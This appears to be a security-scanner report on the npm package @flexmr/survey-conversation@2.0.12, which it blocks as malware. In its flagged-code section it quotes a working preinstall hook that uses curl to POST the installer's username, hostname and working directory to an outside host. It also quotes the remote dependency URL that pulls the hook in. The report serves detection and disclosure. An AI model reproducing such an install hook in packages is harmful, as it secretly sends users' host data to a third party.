@flexmr/survey-conversation@2.0.12
Generated package
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe root manifest activates a remote dependency whose platform-specific preinstall hooks automatically send identifying host and project data to an unrelated endpoint. This is an installation-time disclosure, supporting a block for install hook abuse.
Static reason
No blocking static signals were detected.
Trigger
Installation of the root package triggers the dependency's preinstall hook.
Impact
Identifying host and project information is disclosed to an unrelated external service without an evident consent guard.
Mechanism
The hook collects the current username, hostname, and working directory, then sends them in an HTTP POST request.
Attack narrative
Installing the package pulls a remote dependency. Its npm Linux and Darwin manifests define preinstall hooks that collect the username, hostname, and working directory and POST that information to an external endpoint. The reviewed source shows no consent guard for this installation-time disclosure.
AI rationale
The root manifest activates a remote dependency whose platform-specific preinstall hooks automatically send identifying host and project data to an unrelated endpoint. This is an installation-time disclosure, supporting a block for install hook abuse.
Evidence
package.json.lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-linux/package.json.lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-darwin/package.json
Network endpoints1
artifacts.creditslib.com/api/pings
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The root manifest installs a remote dependency, activating its install lifecycle during package installation.
- The dependency's npm Linux preinstall sends the username, hostname, and working directory to an unrelated external endpoint.
- The dependency's npm Darwin preinstall performs the same collection and send.
Evidence against
Behavioral surface
Trivial
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
13"cache-format-syntax-tracer": "https://artifacts.creditslib.com/npm/cache-format-syntax-tracer"
}
}
High
Suspicious Lifecycle Evidence
The root manifest installs a remote dependency, activating its install lifecycle during package installation.
package.jsonView on unpkg · L13.lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-linux/package.jsonView file
13"preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"c7b4c0df-c294-4a19-b199-3a39039a793e\", \"source_type\":\"http\", \"package\":\"@flexmr/survey-conversation\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'"
}
}
High
Suspicious Dependency Evidence
The dependency's npm Linux preinstall sends the username, hostname, and working directory to an unrelated external endpoint.
.lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-linux/package.jsonView on unpkg · L13Findings
3 High
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-linux/package.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-b6026680-414f-4710-a76a-e9b72ae6c403/0/npm-darwin/package.json
Affected versions and remediation
This report applies to @flexmr/survey-conversation@2.0.12.
See all versions of @flexmr/survey-conversation for other recorded verdicts.
- Avoid installing @flexmr/survey-conversation@2.0.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.